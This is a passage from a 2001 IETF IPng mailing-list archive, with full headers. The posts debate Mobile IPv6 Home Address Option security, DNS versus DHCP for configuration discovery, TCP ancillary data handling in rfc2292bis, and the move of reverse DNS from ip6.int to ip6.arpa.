CN" has not been defined explicitly, IMO. > > Yes. Thanks for pointing this out. We should clarify the issue in the draft. > The intention was to say that Home Address Option processing is > mandatory on all nodes, while Route Optimization functionality is not > (mipv6 draft -15 says: "Mobile IPv6 defines four new IPv6 destination > options, including one that MUST be supported in packets received by > any node, whether mobile or stationary."). > > > The requirement that Home Address Option MUST be processed is nothing new; > > it's a requirement for every IPv6 node as currently being specified. > > Right, and this was what we've stated in earlier versions of the draft. A > note was, however, added to the latest version of our draft to indicate > that the Mobile IP WG is presently discussing what to do with the Home > Address Option and whether there are security issues in that as well > (as there were other security issues in the Binding Update Option). > > But frankly - as someone who wants to deploy zillions of these > devices soon - we are somewhat unsure how to proceed regarding > this issue. Since I know you Pekka were involved in the Home Address > Option discussion, perhaps you could comment on where do you think > the WG goes? Will it disallow the option unless accompanied by a > Binding Cache Entry established securely earlier? Will it throw away > the option and start to use tunneling? Or decide that there is no > security issue? Or perhaps we can't yet say for sure? > > Jari > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 2 19:48:50 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB33mnHt028120 for ; Sun, 2 Dec 2001 19:48:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB33mnAJ028119 for ipng-dist; Sun, 2 Dec 2001 19:48:49 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB33mkHt028112 for ; Sun, 2 Dec 2001 19:48:46 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA26640 for ; Sun, 2 Dec 2001 19:48:47 -0800 (PST) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by saturn.sun.com (8.9.3+Sun/8.9.3) with SMTP id TAA14069 for ; Sun, 2 Dec 2001 19:48:45 -0800 (PST) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA04338; Sun, 2 Dec 2001 22:46:06 -0500 Date: Sun, 2 Dec 2001 22:46:06 -0500 (EST) From: Jim Bound To: Pekka Savola Cc: Robert Elz , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-ietf-ipngwg-dns-discovery-03.txt In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka, What we do here is build standards. That have no known bugs or interoperability problems. What we don't do here is tell the market what they can and cannot deploy. We will build standards that support stateless and stateful mechanisms across the IPv6 spectrum, we will have translation, tunneling, and hybrids of such mechanisms. Our job is to make sure they will work as best we can tell on paper and abstractly. But it is not our job to tell the customer what to use in their networks. Besides they are not listening to us and never did in the first place except maybe for a few key pivotal points on the Internet like Address Registry debate and root DNS servers et al. regards, /jim On Sat, 1 Dec 2001, Pekka Savola wrote: > On Sat, 1 Dec 2001, Robert Elz wrote: > > | There's one additional point to consider. > > | > > | DNS server is pretty much required; or so the draft assumes. Personally, > > | for small sites, I disagree. > > > > Yes. That was more or less what I was saying - the hard part of this is > > to design something that works when there is no central database of any > > kind at all. As soon as you start assuming the existence of one, and hence > > something (or someone) to maintain it, half the complexity goes away (or > > rather is hidden - "the administrator" simply makes it all work...) > > True. But consider -- a small site that doesn't even have a DNS server of > its own is, well, small. In most cases, it's no big deal configuring > stuff by hand in every system. With bigger sites, more centralized > structure is needed, like this. > > A problem here is that there are lots and lots of very small sites. > Practically, if there was no way of "automatically discover" required > information, renumbering would more a few steps more difficult. > > > | If DHCP server existed in the network -- sure, it would be ok to put the > > | data there. But one of the points here is to avoid adding DHCP server at > > | all. > > > > Why? There's nothing magic about DHCP servers that make them something > > to be avoided. Installing a DHCP server is mostly just a matter of going > > to your server's "what daemons do I run" facility, and enabling it. It > > isn't running the DHCP server that some people want to avoid, it is doing > > the centralised data administration. That's just as true for a DNS server > > as it is for a DHCP server. If you're going to collect and maintain the > > data anyway, whether it is distributed via DHCP or DNS isn't going to bother > > anyone much. Or it wouldn't, if they really thought about it. (DHCP > > actually has a whole set of small advantages for things like this). > > DNS is a required part of working infrastructure. DHCP is not. Do we > want to make it that? I'd prefer there would be as few links in the > requirement chain as possible. > > Not that DNS is necessarily the best place to put this data in.. > > > | The real question is: "are all of these configurables so critical that we > > | should mandate DHCPv6 server in every network which would like to > > | autoconfigure them?". > > | > > | IMO, the answer for at least some parts of the draft is "no, we shouldn't > > | need DHCP for them". > > > > I agree with that. But the answer cannot be to require the same > > data served by the DNS instead. The replacement has to be to collect > > the data from a distributed system, with no central maintenance, just > > like IPv6 addresses are generated by the routers advertising prefixes, > > and the nodes generating the addresses. Or by a centralised server if > > the net prefers that method. It is the same kind of choice that needs > > to be permitted here, not just a choice of which particular centralised > > database to use. > > I basically agree -- but the "cost" (design, implementation, etc.) of the > system is much larger that way; and it'd most probably be more complex > too. > > Of course, this decision could be pushed off the hosts; for example, make > all of these things options in router advertisements, and define some > mechanisms how routers would get the data (from servers, from > configuration, ...). > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 2 19:49:25 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB33nPHt028137 for ; Sun, 2 Dec 2001 19:49:25 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB33nPDf028136 for ipng-dist; Sun, 2 Dec 2001 19:49:25 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB33nLHt028129 for ; Sun, 2 Dec 2001 19:49:21 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA03162 for ; Sun, 2 Dec 2001 19:49:21 -0800 (PST) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by venus.sun.com (8.9.3+Sun/8.9.3) with SMTP id TAA23691 for ; Sun, 2 Dec 2001 19:49:20 -0800 (PST) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA15105; Sun, 2 Dec 2001 22:49:08 -0500 Date: Sun, 2 Dec 2001 22:49:08 -0500 (EST) From: Jim Bound To: Pekka Savola Cc: Jari Arkko , john.loughney@nokia.com, ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka, I completely disagree with you. The entire notion of worrying about the home agent address is overrated. The reason is what most people will be doing is not needed to be secure anymore than when you call a friend on the telephone and tell them your bringing some beer over for the tele show. This is what I believe 90% of the devices will be used for and on private cell networks not on the Big Internet. /jim On Sat, 1 Dec 2001, Pekka Savola wrote: > On Sat, 1 Dec 2001, Jari Arkko wrote: > > > The requirement that Home Address Option MUST be processed is nothing new; > > > it's a requirement for every IPv6 node as currently being specified. > > > > Right, and this was what we've stated in earlier versions of the draft. A > > note was, however, added to the latest version of our draft to indicate > > that the Mobile IP WG is presently discussing what to do with the Home > > Address Option and whether there are security issues in that as well > > (as there were other security issues in the Binding Update Option). > > > > But frankly - as someone who wants to deploy zillions of these > > devices soon - we are somewhat unsure how to proceed regarding > > this issue. Since I know you Pekka were involved in the Home Address > > Option discussion, perhaps you could comment on where do you think > > the WG goes? Will it disallow the option unless accompanied by a > > Binding Cache Entry established securely earlier? Will it throw away > > the option and start to use tunneling? Or decide that there is no > > security issue? Or perhaps we can't yet say for sure? > > It's too early to say how this will be tackled, but I think the risk of > completely unauthenticated Home Address options will be too high; it seems > probable it will have to restricted in some form or the other. But it's > rather early yet. Next revision of secreqs draft will add Home Address > option and Routing Header issues for consideration. It seems likely the > wording will be "harsher" on the issue than before. > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 2 20:41:03 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB34f3Ht028175 for ; Sun, 2 Dec 2001 20:41:03 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB34f2Ya028174 for ipng-dist; Sun, 2 Dec 2001 20:41:02 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB34exHt028167 for ; Sun, 2 Dec 2001 20:40:59 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id UAA05744 for ; Sun, 2 Dec 2001 20:40:57 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id VAA10556 for ; Sun, 2 Dec 2001 21:40:56 -0700 (MST) Received: from ipv16 (as1-98.chi.il.dial.anet.com [198.92.156.98]) by zeus.anet-chi.com (8.9.3/spamfix) with SMTP id WAA06992; Sun, 2 Dec 2001 22:38:11 -0600 (CST) Message-ID: <00c601c17bb6$2ccecfe0$a300a8c0@ipv16> From: "Jim Fleming" To: "Jim Bound" , "Pekka Savola" Cc: "Robert Elz" , References: Subject: Re: I-D ACTION:draft-ietf-ipngwg-dns-discovery-03.txt Date: Sun, 2 Dec 2001 22:51:28 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk ----- Original Message ----- From: "Jim Bound" To: "Pekka Savola" Cc: "Robert Elz" ; Sent: Sunday, December 02, 2001 9:46 PM Subject: Re: I-D ACTION:draft-ietf-ipngwg-dns-discovery-03.txt > Pekka, > > What we do here is build standards. That have no known bugs or > interoperability problems. What we don't do here is tell the market what > they can and cannot deploy. We will build standards that support stateless > and stateful mechanisms across the IPv6 spectrum, we will have > translation, tunneling, and hybrids of such mechanisms. Our job is to > make sure they will work as best we can tell on paper and abstractly. But > it is not our job to tell the customer what to use in their networks. > Besides they are not listening to us and never did in the first place > except maybe for a few key pivotal points on the Internet like Address > Registry debate and root DNS servers et al. > The ICANN Board describes the IETF as their "Engineering Division". "ICANN represents that it has no authority to implement new TLDs" http://www.icann.org/tlds/correspondence/esi-v-icann-13nov00.htm ICANN and the IETF appear to be mostly focused on "experimental", Proof-of-Concept, research projects. The new TLD deployments seem to be mostly operational fiascos, years overdue, late, corrupted databases, confused consumers, etc. There is little focus on serious, reliable, redundant systems, etc. If there is a market, serious companies will deploy the needed infrastructure, as the experiments draw people to the new TLDs. http://www.dot-biz.com/Registry/Proof-Of-Concept For people interested in building on IPv4...this may help... http://www.dot-biz.com/IPv4/Tutorial/ The Netfilter Project: Packet Mangling for Linux 2.4 http://netfilter.samba.org Jim Fleming http://www.IPv8.info IPv16....One Better !! -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 2 21:24:41 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB35OeHt028216 for ; Sun, 2 Dec 2001 21:24:40 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB35OelQ028215 for ipng-dist; Sun, 2 Dec 2001 21:24:40 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB35OaHt028208 for ; Sun, 2 Dec 2001 21:24:36 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA09518 for ; Sun, 2 Dec 2001 21:24:36 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA24809 for ; Sun, 2 Dec 2001 22:24:34 -0700 (MST) Received: from localhost ([3ffe:501:100f:10c1:e572:7e59:6522:18d2]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fB35OP329685; Mon, 3 Dec 2001 14:24:25 +0900 (JST) Date: Mon, 03 Dec 2001 14:24:23 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Tim Hartrick Cc: lilianf@austin.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-ietf-ipngwg-rfc2292bis-03.txt In-Reply-To: <200111301856.KAA29712@feller.mentat.com> References: <200111301856.KAA29712@feller.mentat.com> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 59 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Fri, 30 Nov 2001 10:56:21 -0800 (PST), >>>>> Tim Hartrick said: > No kidding. I have pretty strong feelings that the changes related to > section 4.1 are bad. Primarily because this behavior was specified more > that two years ago. It has been implemented by multiple vendors. The > previous definition of how ancillary data was to be received by TCP > applications was workable as written, given some clarifications. A > Wholesale discarding of the mechanism was unnecessary. > I regret that I missed the discussion which resulted in the "consensus" to > change this. It should be changed back to its previous behavior. Please note that I didn't say this change was based on a "consensus." As one of the "vendors" that implemented the old behavior, I'm even happy with a less radical change as long as the spec provides an application not receiving data segments with the ability to get the optional information. An alternative candidate is to allow the stack to pass ancillary data items even without TCP data (recvmsg() would then return 0 in such a case.) With this approach, however, the application may not be able to determine the termination of a connection. The traditional coding style like if ((n = recvmsg(s, &msghdr, 0)) == 0) return(-1); /* end of the connection */ does not work, because this can be an ack-only segment with ancillary data. Instead, the application would have to do the following test: if ((n = recvmsg(s, &msghdr, 0)) == 0 && msghdr.msg_controllen == 0) return(-1); /* end of the connection */ I can personally live with this change of style. I'd like to hear from other implementors. BTW, if we go back to the recvmsg() + ancillary data approach, I think we should reconsider the following part of rfc2292bis-02 For efficiency reasons it is recommended that a TCP implementation not send ancillary data items with every received segment but instead try to detect the points in the data stream when the requested IPv6 and extension header content changes and only send a single ancillary data item at the time of the change. (Section 4.1, second paragraph) This is because we do not assume any ordering and number of occurrences about extension headers in the incoming segment and thus it is not feasible to detect changes over different segments. So, I'd like to remove this recommendation. In any event, the ancillary data cannot fully follow the changes and the application cannot rely on the mechanism. Thus, IMO, if the application cares about the efficiency, it should simply disable receiving the optional information. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 2 21:45:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB35jVHt028251 for ; Sun, 2 Dec 2001 21:45:31 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB35jV9U028250 for ipng-dist; Sun, 2 Dec 2001 21:45:31 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB35jNHt028235; Sun, 2 Dec 2001 21:45:23 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id VAA13529; Sun, 2 Dec 2001 21:45:23 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id WAA08060; Sun, 2 Dec 2001 22:45:51 -0700 (MST) Received: from localhost ([3ffe:501:100f:10c1:e572:7e59:6522:18d2]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fB35jF329779; Mon, 3 Dec 2001 14:45:15 +0900 (JST) Date: Mon, 03 Dec 2001 14:45:13 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: bmanning@ISI.EDU Cc: ipng@sunroof.eng.sun.com, dnsop@cafax.se, ngtrans@sunroof.eng.sun.com Subject: Re: reverse delegation under ip6.arpa.? In-Reply-To: <200112010045.fB10jiQ03409@zed.isi.edu> References: <200112010045.fB10jiQ03409@zed.isi.edu> <20011128083531.C4C631090@postfix1.uni-muenster.de> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: multipart/mixed; boundary="Multipart_Mon_Dec__3_14:45:13_2001-1" X-Dispatcher: imput version 980905(IM100) Lines: 174 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --Multipart_Mon_Dec__3_14:45:13_2001-1 Content-Type: text/plain; charset=US-ASCII (Based on a suggestion from Randy, I'm cc'ing this message to the dnsop and ngtrans MLs. I've dropped namedroppers but still keep the ipng ML. Please refer to the attached message to follow the thread context.) >>>>> On Fri, 30 Nov 2001 16:45:44 -0800 (PST), >>>>> Bill Manning said: > % I'd also like to know the current policy on this. The current status > % is really confusing and can be a serious barrier to deploy IPv6. > % > % Honestly, if we are allowed to live with the current spec > % (i.e. ip6.int. with the nibble format), I'll be really happy. > % However, the transition to ip6.arpa is inevitable, we should be ready > % for this as soon as possible, both in operation and in implementation. > The IETF policy is clear. ip6.arpa. It is also true that this policy was > not based on any technical grounds. That said, the IETF has also depricated > RIP. And there are still some questions about the bitstring format vs nibble > format. So I intend to continue to use the proven format for now, at least > until there are strong technical reasons to migrate. Let me confirm, do you mean the bitstring vs nibble format by the "proven format", or does it include the upper domain (i.e. ip6.int. vs ip6.arpa.)? Anyway, through the responses so far, I feel we must definitely move to ip6.arpa. (regardless of the bitstring vs nibble issue). The migration should cause additional pain to deploy IPv6, but, with the reality, we should start the migration now... JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp --Multipart_Mon_Dec__3_14:45:13_2001-1 Content-Type: message/rfc822 Return-Path: Return-Path: Received: from localhost (localhost [127.0.0.1]) by condor.jinmei.org (8.11.6/8.10.1) with ESMTP id fAT2dmC13898 for ; Thu, 29 Nov 2001 11:39:48 +0900 (JST) Received: from shuttle.wide.toshiba.co.jp by localhost with POP3 (fetchmail-5.3.0) for jinmei@localhost (single-drop); Thu, 29 Nov 2001 11:39:48 +0900 (JST) Received: from tsbgw.wide.toshiba.co.jp (tsbgw.wide.toshiba.co.jp [202.249.10.123]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fAT1ow399402 for ; Thu, 29 Nov 2001 10:50:58 +0900 (JST) Received: from maltese.wide.toshiba.co.jp (maltese.wide.toshiba.co.jp [202.249.10.99]) by tsbgw.wide.toshiba.co.jp (8.11.6/8.11.6) with ESMTP id fAT1owX16316 for ; Thu, 29 Nov 2001 10:50:58 +0900 (JST) Received: from isl.rdc.toshiba.co.jp (spiffy.isl.rdc.toshiba.co.jp [133.196.10.10]) by maltese.wide.toshiba.co.jp (8.9.1/8.9.1) with ESMTP id KAA08814 for ; Thu, 29 Nov 2001 10:50:58 +0900 (JST) Received: from mx4.toshiba.co.jp (mx4.toshiba.co.jp [133.199.160.112]) by isl.rdc.toshiba.co.jp (8.11.6/8.11.6/1.4) with ESMTP id fAT1ovv12791 for ; Thu, 29 Nov 2001 10:50:57 +0900 (JST) Received: from tsb-sgw.toshiba.co.jp by toshiba.co.jp (8.7.1+2.6Wbeta4/3.3W9-TOSHIBA-GLOBAL SERVER) id KAA01907; Thu, 29 Nov 2001 10:50:57 +0900 (JST) Received: from inet-tsb2.toshiba.co.jp (localhost [127.0.0.1]) by tsb-sgw.toshiba.co.jp (8.9.3/3.7W) with ESMTP id KAA21244 for ; Thu, 29 Nov 2001 10:50:56 +0900 (JST) Received: from orange.kame.net (orange.kame.net [203.178.141.194]) by inet-tsb2.toshiba.co.jp (3.7W:TOSHIBA-ISC-2000030918) with ESMTP id KAA01126 for ; Thu, 29 Nov 2001 10:50:55 +0900 (JST) Received: by orange.kame.net (Postfix) id 7D8E0BACD; Thu, 29 Nov 2001 10:49:40 +0900 (JST) Delivered-To: jinmei@kame.net Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by orange.kame.net (Postfix) with ESMTP id 06C71BAD6 for ; Thu, 29 Nov 2001 10:47:28 +0900 (JST) Received: from engmail1.Eng.Sun.COM ([129.146.1.13]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA15673; Wed, 28 Nov 2001 18:46:40 -0700 (MST) Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA26821; Wed, 28 Nov 2001 17:46:44 -0800 (PST) Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAT1gx1V015000 for ; Wed, 28 Nov 2001 17:42:59 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAT1gxLo014999 for ipng-dist; Wed, 28 Nov 2001 17:42:59 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAT1gv1V014992 for ; Wed, 28 Nov 2001 17:42:57 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fAT1gkAf008251 for ; Wed, 28 Nov 2001 17:42:46 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fAT1gjbX008250 for ipng@sunroof.eng.sun.com; Wed, 28 Nov 2001 17:42:45 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAS8Zx1V010962 for ; Wed, 28 Nov 2001 00:35:59 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA18175 for ; Wed, 28 Nov 2001 00:35:59 -0800 (PST) Received: from postfix1.uni-muenster.de (POSTFIX1.UNI-MUENSTER.DE [128.176.188.57]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA17961 for ; Wed, 28 Nov 2001 00:35:58 -0800 (PST) Received: from there (LEMY.UNI-MUENSTER.DE [128.176.184.113]) by postfix1.uni-muenster.de (Postfix) with SMTP id C4C631090 for ; Wed, 28 Nov 2001 09:35:31 +0100 (MEZ) Content-Type: text/plain; charset="iso-8859-15" From: JOIN Project Team Reply-To: schild@uni-muenster.de Organization: Westfaelische Wilhelms-Universitaet To: ipng@sunroof.eng.sun.com Subject: reverse delegation under ip6.arpa.? Date: Wed, 28 Nov 2001 09:35:53 +0100 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <20011128083531.C4C631090@postfix1.uni-muenster.de> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk X-UIDL: >M<"!M0[!!-Sl!!]%4"! Hello, recently I was very surprised, when I found that there is an existing ip6.arpa. domain, where the reverse IPv6 nibble format is delegated to the registries. I found no mail or announcement anywhere that from now on ip6.arpa should be used for the reverse nibble format. Is that a fact, or is ip6.arpa just a global testing scenario that is confusing me? I know that ip6.arpa should be used instead of ip6.int for political reasons, but I always expected to stay the nibble format in ip6.int and the bit-string labels to appear in ip6.arpa someday. Well, ok, now that the bit-string labels are to be changed to experimental, that might be not possible anymore. But I'm not sure if it such a good idea to just change the zones. Right now there is a well established and well working tree under ip6.int. If there will grow a second tree under ip6.arpa now, things might become very confusing. As a resolver, I don't know if I have to lookup the name for my IPv6 address starting with .arpa or starting .int. If I lookup in the wrong tree, I might get no answer, while the correct one is in the other tree. Yes, I could lookup in both trees, but if the answers differ, which one is the correct one? Is there a solution for this? What is the current policy? Maybe I am confused because I missed something? So long, Christian -- JOIN - IP Version 6 in the WiN Christian Schild A DFN project Westfaelische Wilhelms-Universitaet Muenster Project Team email: Zentrum fuer Informationsverarbeitung join@uni-muenster.de Roentgenstrasse 9-13 http://www.join.uni-muenster.de D-48149 Muenster / Germany email: schild@uni-muenster.de,phone: +49 251 83 31638, fax: +49 251 83 31653 -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- --Multipart_Mon_Dec__3_14:45:13_2001-1-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 01:03:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3931Ht028475 for ; Mon, 3 